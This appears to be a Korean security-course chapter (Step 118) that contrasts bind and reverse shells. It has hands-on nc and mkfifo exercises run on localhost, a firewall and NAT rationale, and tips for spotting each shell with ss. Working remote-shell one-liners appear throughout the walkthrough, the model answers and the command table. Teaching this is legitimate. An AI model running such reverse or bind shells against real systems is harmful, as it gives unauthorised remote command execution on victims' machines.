Step 118. 바인드 쉘 vs 리버스 쉘 — 연결의 방향이 전부다
Level 2 — 보안 입문과 공격 스킬 기초 | 난이도 ★★★★☆ | 예상 소요 시간 3시간
전제: Step 117에서 첫 쉘(6200번 포트에 붙은 백도어 쉘)을 경험했다. Step 77의 소켓 개념(기다리는 쪽과 거는 쪽)을 안다. 터미널 두 개를 띄울 수 있다.
- 준비물: 리눅스/WSL 터미널 두 개와 nc. 오늘의 두 주인공을 전부 내 컴퓨터 안(127.0.0.1)에서 손으로 만들어 봅니다.
- 주의: ⚠️ 이 챕터의 실습은 내 랩·합법 플랫폼 전용입니다. 허가 없는 시스템에 적용하면 범죄입니다. 이 챕터의 nc 실습은 전부 WSL 리눅스의
127.0.0.1에서 실측했습니다.
Step 117의 백도어 쉘은 "대상이 문을 열고 기다리고, 우리가 노크하는" 모양이었습니다. 그런데 현실의 대상은 대부분 방화벽과 NAT 뒤에 숨어 있어서, 내가 노크할 문 자체가 밖에서 보이지 않습니다. 그래서 방향을 뒤집습니다 — 대상이 나에게 오게 만드는 것. 오늘은 바인드 쉘(bind shell)과 리버스 쉘(reverse shell)을 둘 다 손으로 만들며, "누가 기다리고 누가 거는가"라는 한 줄의 차이가 왜 실전 설계를 좌우하는지 배웁니다.
1. 학습 목표
이 챕터를 끝내면 다음을 할 수 있습니다:
- 바인드 쉘과 리버스 쉘을 nc로 각각 만들어 명령을 실행한다
- 두 쉘의 연결 방향(누가 listen하고 누가 connect하는가)을 그림으로 그린다
- 방화벽·NAT이 바인드 쉘을 막는 이유를 설명한다
- 상황(타깃의 위치, 내 주소의 성격)에 따라 어느 쪽을 고를지 판단한다
- Step 117의 vsftpd 백도어가 어느 종류였는지 분류한다
2. 배경 지식 — 오늘의 도구와 개념
오늘의 도구 한눈에 보기
| 구분 | 내용 |
|---|---|
| 언어·환경 | 리눅스/WSL 터미널 두 개, nc(OpenBSD 판), fifo 파이프 |
| 오늘의 명령 | nc -l -p 포트(리스너), nc 대상 포트(접속), mkfifo + 파이프 조합 |
| 필요한 개념 | listen/connect의 방향, 방화벽과 NAT(Step 38), Step 117의 fifo 쉘 기법 |
| 오늘의 산출물 | 두 쉘의 연결 방향 그림 + 상황별 선택 기준 한 장 |
2-1. 쉘의 본질 — 방향만 다를 뿐 같은 것
쉘이라는 물건의 본질은 단순합니다. "네트워크 연결의 한쪽 끝에 bash를 붙여 두는 것." 접속한 쪽이 명령을 내면, 붙어 있는 bash가 실행하고, 결과가 연결을 타고 돌아옵니다. Step 117에서 fifo로 만들었던 바로 그것입니다.
그런데 이 물건에는 자유 변수가 하나 남아 있습니다. 연결을 누가 먼저 여는가입니다. 소켓의 세계에서 대화는 언제나 "기다리는 쪽(listen)"과 "거는 쪽(connect)"의 만남이었습니다(Step 77). 쉘의 두 종류는 이 배역의 차이일 뿐입니다.
2-2. 바인드 쉘 — 피해자가 문을 연다
바인드 쉘: 피해자 컴퓨터가 포트를 열고(listen) 기다리고, 공격자가 그 포트로 접속(connect)합니다. Step 117의 vsftpd 백도어가 정확히 이것이었습니다 — 백도어가 6200번을 열고, 우리가 접속했죠.
[공격자] ──── connect ───▶ [피해자 :6200 listen] + bash
장점은 단순함입니다. 단점은 "피해자에게 닿을 수 있어야" 한다는 것 — 그 포트가 방화벽에 막히거나, 피해자가 NAT 뒤에 있어 외부에서 주소 자체가 안 보이면, 문이 열려 있어도 노크할 방법이 없습니다.
2-3. 리버스 쉘 — 피해자가 거꾸로 온다
리버스 쉘: 배역을 뒤집습니다. 공격자가 포트를 열고(listen) 기다리고, 피해자가 공격자에게 접속(connect)해 옵니다 — 그리고 자기 쪽 bash를 그 연결에 붙여 바칩니다.
[피해자] + bash ──── connect ───▶ [공격자 :4444 listen]
왜 이게 실전 표준일까요? Step 38에서 배운 것처럼, 대부분의 네트워크는 들어오는 연결은 막지만 나가는 연결은 허용합니다. 회사 방화벽은 밖에서 안으로의 노크를 차단하지만, 직원 PC가 밖의 서버로 거는 연결(웹 접속 등)은 일상이라 막을 수 없습니다. NAT 뒤의 피해자에게는 밖에서 닿는 길이 없지만, 피해자가 밖으로 나가는 길은 열려 있습니다. 그래서 "피해자가 나에게 오는" 리버스 쉘이 답이 됩니다.
2-4. 오늘의 실습 구조
오늘은 두 쉘을 모두 내 컴퓨터 안에서 만듭니다. 터미널 1과 터미널 2가 각각 "피해자"와 "공격자" 역할을 번갈아 맡습니다. 주소는 전부 127.0.0.1 — 무대는 작지만, 배역과 방향은 실전과 정확히 같습니다.
3. 따라 하기
3-1. 바인드 쉘 — 피해자가 문을 연다
먼저 피해자 역할입니다. Step 117에서 쓴 fifo 기법 그대로, 포트를 열고 쉘을 붙입니다 (우분투의 OpenBSD nc에는 -e가 없으므로 — 2026-09-09 nc -h 실측으로 확인 — fifo로 대체합니다).
입력 (터미널 1 — 피해자 역할)
cd /tmp
rm -f f && mkfifo f
cat f | bash 2>&1 | nc -l -p 6200 > f
읽는 법: 피해자가 6200번 포트에 bash를 달고 기다리는 상태입니다. 켜진 것을 확인하려면 세 번째 터미널에서 ss -tlnp | grep 6200 — LISTEN 상태로 보입니다 (2026-09-09 실측).
입력 (터미널 2 — 공격자 역할)
nc 127.0.0.1 6200
whoami
id
출력 (2026-09-09 실측):
root
uid=0(root) gid=0(root) groups=0(root)
읽는 법: 공격자가 피해자의 문에 노크했고, 문 뒤의 bash가 대답했습니다. 연결의 방향은 공격자 → 피해자. 이것이 바인드 쉘이며, Step 117에서 우리가 했던 것과 같은 구조입니다.
왜: 몸으로 먼저 확인합니다. "문을 여는 쪽 = 쉘을 바치는 쪽"이 바인드 쉘의 정의입니다.
3-2. 바인드 쉘의 수명 — 한 손님이 떠나면
터미널 2에서 exit를 치고, 세 번째 터미널에서 다시 확인해 보세요.
출력 (2026-09-09 실측):
ss -tlnp | grep 6200
(빈 결과 — 포트가 닫혔습니다)
읽는 법: 접속이 끊기자 피해자 쪽의 nc 리스너도 함께 종료됐습니다. 이 간이 구조는 "한 손님 전용"입니다. 다시 열려면 터미널 1에서 명령을 다시 실행해야 합니다. (실전 도구들은 -k 옵션이나 반복문으로 다시 기다리게 만들지만, 원리는 같습니다.)
왜: 바인드 쉘은 열려 있는 동안 방어자의 ss/nmap에 그대로 보입니다. "낯선 LISTEN 포트"는 침해 탐지의 고전적 단서입니다 — Step 34, Step 81의 명령이 여기서 방어 도구가 됩니다.
3-3. 리버스 쉘 — 배역 뒤집기
이번에는 공격자가 먼저 기다립니다.
입력 (터미널 2 — 이번엔 공격자가 먼저)
nc -l -p 4444
커서가 깜빡이며 기다리는 상태가 됩니다. 이것이 리스너(listener) — 공격자가 펼쳐 두는 그물입니다.
입력 (터미널 1 — 피해자 역할, 공격자에게 거꾸로 접속)
cd /tmp
rm -f g && mkfifo g
cat g | bash 2>&1 | nc 127.0.0.1 4444 > g
읽는 법: 3-1과 거의 같은데 마지막이 다릅니다 — nc -l -p 6200(기다리기)이 nc 127.0.0.1 4444(걸기)로. 피해자 쪽 명령이 공격자를 향해 전화를 겁니다. 전화가 연결되면 피해자의 bash가 그 회선에 붙습니다.
입력 (터미널 2의 리스너 화면에 그대로)
whoami
id
hostname
출력 (2026-09-09 실측, 공격자 리스너 화면):
root
uid=0(root) gid=0(root) groups=0(root)
XI3492
읽는 법: 공격자는 아무 데도 접속하지 않았습니다. 가만히 기다렸는데, 피해자가 찾아와 쉘을 바쳤습니다. 답의 내용(root, 이 머신의 hostname)은 피해자 쪽 것입니다. 연결의 방향만 뒤집혔을 뿐, 결과물 — "내 화면에서 상대 컴퓨터의 명령이 실행된다" — 은 동일합니다.
왜: 이 한 번의 배역 교체가 실전의 모든 설계 차이를 만듭니다. 다음 절에서 그 이유를 봅니다.
3-4. 관찰 — 방향을 운영체제의 눈으로 보기
리버스 쉘이 연결된 동안, 세 번째 터미널에서 봅니다.
입력 (터미널 3)
ss -tnp | grep 4444
출력 (2026-09-09 실측, 형태):
LISTEN 0 1 0.0.0.0:4444 0.0.0.0:* ← 공격자(nc -l)가 기다리는 모습
ESTAB ... 127.0.0.1:4444 ... ← 연결이 성립된 모습
읽는 법: 같은 4444번이 두 얼굴로 보입니다 — 접속 전에는 LISTEN(기다림), 접속 후에는 ESTAB(성립). 방어자의 눈으로 읽으면, 리버스 쉘의 흔적은 "열려 있는 포트"가 아니라 "밖으로 나간 수상한 연결"입니다. 바인드 쉘과 탐지 단서가 다르다는 것, 기억해 두세요.
왜: 공격 기법을 배울 때마다 "이것이 방어자의 도구에는 어떻게 보이는가"를 함께 보는 습관이 이 책의 방식입니다.
3-5. 프롬프트가 있는 쉘 — bash -i의 차이
fifo의 bash를 bash -i(대화형)로 바꾸면 프롬프트가 보일까요? 해 봅시다.
입력 (터미널 1 — 피해자 역할, -i 추가)
rm -f g && mkfifo g
cat g | bash -i 2>&1 | nc 127.0.0.1 4444 > g
출력 (2026-09-09 실측, 공격자 화면):
]0;root@XI3492: /tmproot@XI3492:/tmp# whoami
root
읽는 법: 프롬프트가 나타났지만, ]0;root@...처럼 깨진 문자가 섞여 있습니다. 이것은 대화형 쉘이 터미널 제목을 바꾸려고 보내는 제어 문자(이스케이프 시퀀스)입니다 — nc는 터미널이 아니라 파이프라 이 신호를 화면 장식으로 해석하지 못하고 그대로 보여 줍니다. 기능에는 문제없지만 지저분합니다. 그래서 실습용 간이 쉘은 보통 -i 없이 씁니다.
왜: "프롬프트가 없어도 쉘은 쉘"이라는 3-2의 감각을 역에서 확인합니다. 그리고 실전에서 만나는 깨진 프롬프트의 정체도 알았습니다 — 고장이 아니라 제어 문자입니다.
3-6. 분석 — 상황별 선택
마지막으로 머리를 씁니다. 시나리오: "피해자가 회사 NAT 뒤에 있고, 나는 공인 IP를 갖고 있다."
- 바인드 쉘로 가능한가? 피해자의 6200번으로 접속하려면 피해자의 공인 주소(회사 공유기)까지 닿아야 하고, 공유기가 그 포트를 안쪽 PC로 넘겨 줘야 합니다. 일반적으로는 불가능합니다.
- 리버스 쉘로는? 피해자가 나의 공인 IP로 접속해 오면 됩니다. 나가는 연결은 대부분 허용되니, 성립합니다.
Step 117의 vsftpd 백도어는 어느 쪽이었을까요? 백도어가 6200번을 열고 기다렸고(listen) 우리가 접속(connect)했으니 — 바인드 쉘입니다. Metasploit의 페이로드 이름에 bind_*와 reverse_*가 나뉘어 있던 것(Step 116의 show payloads)이 이제 의미가 보입니다.
왜: "쉘의 선택은 기호가 아니라 네트워크 지형이 결정한다" — 이 문장이 오늘의 결론입니다.
4. 미션과 연습문제
미션 — 두 쉘을 손으로 만들고 방향을 그리기
- 3-1의 바인드 쉘을 재현하고, 접속해
whoami의 답을 캡처합니다. exit로 끊은 뒤 포트가 닫혔는지ss로 확인합니다.- 3-3의 리버스 쉘을 재현하고, 리스너 화면에서
hostname의 답을 캡처합니다. - 두 쉘의 연결 방향 그림을 노트에 그립니다 — 누가 listen이고 누가 connect인지, 화살표 방향을 명확히.
- 시나리오 카드 둘에 답을 적습니다: ① "피해자와 내가 같은 랩 대역에 있다" ② "피해자가 회사 NAT 뒤, 나는 공인 IP" — 각각 어느 쉘을 고르고 왜인지 한 줄씩.
- 실습이 끝나면 리스너와 fifo 파일을 정리합니다.
연습문제
문제 1. 바인드 쉘과 리버스 쉘에서 listen하는 쪽과 connect하는 쪽을 각각 표로 정리해 보세요. 쉘(bash)이 어느 쪽에 붙는지도 함께요.
문제 2. "들어오는 연결은 막고 나가는 연결은 허용하는" 방화벽 앞에서, 왜 리버스 쉘은 통하고 바인드 쉘은 막히는지 설명해 보세요.
문제 3. 방어자가 ss -tlnp로 LISTEN 포트를 점검하는 습관은 어느 쪽 쉘을 잡는 데 유효한가요? 다른 쪽은 무엇으로 잡아야 하나요?
문제 4. 3-5에서 -i를 붙였더니 프롬프트에 ]0;root@... 같은 깨진 문자가 섞여 나왔습니다. 이것의 정체와, 기능상 문제가 없는 이유를 말해 보세요.
5. 모범 답안과 완료 기준
미션 모범 답안
재현 명령 쌍 (2026-09-09 실측 검증됨):
# 바인드 쉘 — 피해자가 열고 기다림
rm -f f && mkfifo f
cat f | bash 2>&1 | nc -l -p 6200 > f # 터미널 1 (피해자)
nc 127.0.0.1 6200 # 터미널 2 (공격자)
# 리버스 쉘 — 공격자가 열고 기다림
nc -l -p 4444 # 터미널 2 (공격자, 리스너)
rm -f g && mkfifo g
cat g | bash 2>&1 | nc 127.0.0.1 4444 > g # 터미널 1 (피해자)
방향 그림:
바인드: [공격자] ──connect──▶ [피해자 listen:6200 + bash]
리버스: [피해자 + bash] ──connect──▶ [공격자 listen:4444]
시나리오 답: ① 같은 대역이면 바인드도 됩니다 — 피해자의 포트에 직접 닿으니까요. ② NAT 뒤에는 바인드가 불가능하므로 리버스 — 나가는 연결은 허용되기 때문입니다.
검증하는 법: ① 두 쉘 모두에서 명령의 답이 돌아왔는가. ② 그림에서 listen/connect 배역이 정확한가. ③ 시나리오 답에 "방화벽/NAT이 들어오는 연결을 막는다"는 근거가 있는가. ④ 실습 후 ss로 잔여 포트가 없음을 확인했는가.
연습문제 해답
문제 1 해답.
| 종류 | listen(기다림) | connect(걸기) | bash가 붙는 쪽 |
|---|---|---|---|
| 바인드 쉘 | 피해자 | 공격자 | 피해자 (listen 쪽) |
| 리버스 쉘 | 공격자 | 피해자 | 피해자 (connect 쪽) |
핵심: bash는 어느 경우든 피해자 쪽에 붙습니다. 달라지는 것은 전화를 거는 주체뿐입니다.
문제 2 해답. 바인드 쉘은 공격자의 연결이 방화벽을 "들어오는" 방향으로 통과해야 하므로 차단됩니다. 리버스 쉘은 피해자가 시작하는 "나가는" 연결이라 방화벽이 일상 트래픽처럼 허용합니다. 연결을 누가 시작하는가가 방화벽의 판단 기준이므로, 시작 주체를 뒤집는 것이 우회의 원리입니다.
문제 3 해답. LISTEN 점검은 바인드 쉘에 유효합니다 — 피해자 쪽에 낯선 "기다리는 포트"가 생기니까요. 리버스 쉘은 피해자 쪽에 LISTEN이 없으므로 이 방법으로는 안 잡힙니다. 나가는 ESTABLISHED 연결(의심스러운 목적지로의 지속 연결)이나 프로세스-연결 상관(ss -tnp)을 봐야 합니다 — 3-4에서 확인한 것처럼요.
문제 4 해답. 대화형 쉘(bash -i)이 터미널 제목 표시줄을 설정하려고 보내는 이스케이프 시퀀스(제어 문자)입니다. nc 연결은 진짜 터미널이 아니므로 이 신호를 장식으로 해석하지 못하고 문자 그대로 출력합니다. 명령의 전달과 실행 결과는 그대로라서 기능에는 문제가 없습니다 — 다만 보기 지저분할 뿐입니다 (2026-09-09 실측).
완료 기준 체크리스트
- [ ] 바인드 쉘을 만들어 접속하고 명령 실행을 확인했다
- [ ] 리버스 쉘을 만들어 리스너에서 명령 실행을 확인했다
- [ ] 두 쉘의 listen/connect 배역을 그림으로 그렸다
- [ ] 방화벽·NAT 앞에서 바인드가 막히는 이유를 설명할 수 있다
- [ ] vsftpd 백도어가 바인드 쉘임을 분류할 수 있다
- [ ] 각 쉘의 탐지 단서(LISTEN 포트 vs 나가는 연결)를 말할 수 있다
- [ ] 실습 후 리스너·포트·fifo 파일을 정리했다
- [ ] 미션: 두 쉘 재현 + 방향 그림 + 시나리오 카드 완성
6. 흔한 실수와 해결
벽 1. 리스너보다 피해자를 먼저 실행했어요
증상 (2026-09-09 실측 상황 재현): 피해자 쪽 nc 127.0.0.1 4444를 먼저 쳤더니 즉시 실패합니다.
nc: connect to 127.0.0.1 port 4444 (tcp) failed: Connection refused
원인: 걸기는 기다리는 쪽이 있어야 성립합니다. Step 77의 ConnectionRefusedError와 같은 사건입니다.
해결: 순서를 고정하세요 — 리스너(공격자) 먼저, 접속(피해자) 나중. 바인드 쉘도 마찬가지로 "여는 쪽 먼저"입니다.
벽 2. nc -e가 없다고 나와요
증상 (2026-09-09 실측): nc -l -p 4444 -e /bin/bash에서 옵션 오류. nc -h의 목록에 -e가 없습니다.
원인: 우분투/WSL의 OpenBSD nc는 보안상 -e를 뺐습니다. 교재의 -e 예시는 전통 판 nc(MS2의 nc 등) 기준입니다.
해결: 오늘 배운 fifo 기법이 정답입니다 — rm -f g && mkfifo g && cat g | bash 2>&1 | nc ... > g. 파이프로 bash와 nc를 이어 붙이면 -e와 같은 효과입니다.
벽 3. 연결됐는데 아무 반응이 없어요
증상: nc를 실행했는데 프롬프트도 없이 커서만 깜빡입니다.
원인: 그것이 정상입니다. -i 없는 쉘은 프롬프트가 없고, nc는 연결돼도 인사말을 안 합니다.
해결: whoami를 쳐 보세요. 답이 오면 살아 있는 것입니다. 그래도 안 오면, 파이프 라인 구성(특히 fifo 파일 이름이 양쪽에서 같은지)을 점검하세요.
벽 4. 실습 후 포트가 안 닫혀요
증상: 끝냈다고 생각했는데 ss -tlnp에 LISTEN이 남아 있습니다.
원인: 리스너 창을 닫지 않았거나, 파이프의 한 프로세스만 종료됐습니다.
해결: ss -tlnp 출력의 PID로 남은 프로세스를 정리하고, /tmp의 fifo 파일(f, g)도 지우세요. "문을 닫고 나오는 것"까지가 실습입니다 — 남겨 둔 리스너는 다음 실습의 Address already in use의 원인이 됩니다.
벽 5. 두 쉘의 명령이 너무 비슷해서 헷갈려요
증상: 바인드와 리버스 명령이 한 단어 차이라 뭐가 뭔지 섞입니다.
원인: 실제로 한 단어 차이입니다 — -l -p 포트(기다림)이냐 주소 포트(걸기)냐.
해결: 명령을 외우지 말고 그림을 외우세요. "쉘은 항상 피해자에게 붙고, 전화를 거는 주체만 바뀐다" — 그림이 있으면 명령은 자동으로 나옵니다. 기다려야 하는 쪽에 -l을 붙이면 됩니다.
7. 정리
오늘의 개념
| 개념 | 한 줄 설명 |
|---|---|
| 바인드 쉘 | 피해자가 listen, 공격자가 connect — vsftpd 백도어가 이것 |
| 리버스 쉘 | 공격자가 listen, 피해자가 connect — 실전의 표준 |
| 리스너 | 공격자가 펼쳐 두는 그물 — nc -l -p 포트 |
| 연결 방향 | 쉘 선택을 결정하는 유일한 변수 — 네트워크 지형이 정한다 |
| 들어오는/나가는 연결 | 방화벽의 기본 태도 — 인바운드 차단, 아웃바운드 허용 |
| fifo 쉘 기법 | -e 없는 nc에서 bash를 연결에 붙이는 파이프 공학 |
오늘의 명령어
| 명령 | 하는 일 |
|---|---|
nc -l -p 포트 |
리스너 — 기다리는 쪽 (바인드의 피해자, 리버스의 공격자) |
nc 주소 포트 |
접속 — 거는 쪽 (바인드의 공격자, 리버스의 피해자) |
rm -f g && mkfifo g && cat g | bash 2>&1 | nc ... > g |
OpenBSD nc에서 쉘 붙이기 (둘러가기) |
ss -tlnp / ss -tnp |
LISTEN 포트 점검 / 성립된 연결 점검 — 탐지의 두 눈 |
exit (쉘 안) |
쉘 연결 종료 — 정리의 첫걸음 |
명령어보다 중요한 감각
오늘 배운 두 쉘은 기술이 하나입니다 — "연결 끝에 bash를 붙인다". 차이는 전화를 거는 주체뿐이고, 그 주체를 정하는 것은 내 취향이 아니라 네트워크 지형입니다. 방화벽과 NAT이 피해자를 감싸고 있다면, 피해자가 나오게 만드는 수밖에 없습니다. 그래서 리버스 쉘이 실전의 표준이고, 방어자는 "나가는 연결"까지 의심해야 합니다.
돌아보면 오늘의 모든 명령은 Step 77의 소켓 — 기다리는 쪽과 거는 쪽 — 의 응용이었습니다. 처음 배운 echo 서버가 이미 여기까지의 씨앗이었습니다. 공격 기술의 상당수가 이렇게 기초의 재배열이라는 것, 그래서 기초를 손으로 만들어 본 사람이 결국 강하다는 것. 이 챕터를 끝낸 여러분은 이제 "쉘"이라는 단어를 마법이 아니라 배역표로 읽습니다.
전부 체크되면 Step 118 완료입니다. 사이드바의 체크박스를 눌러 진도를 저장하세요.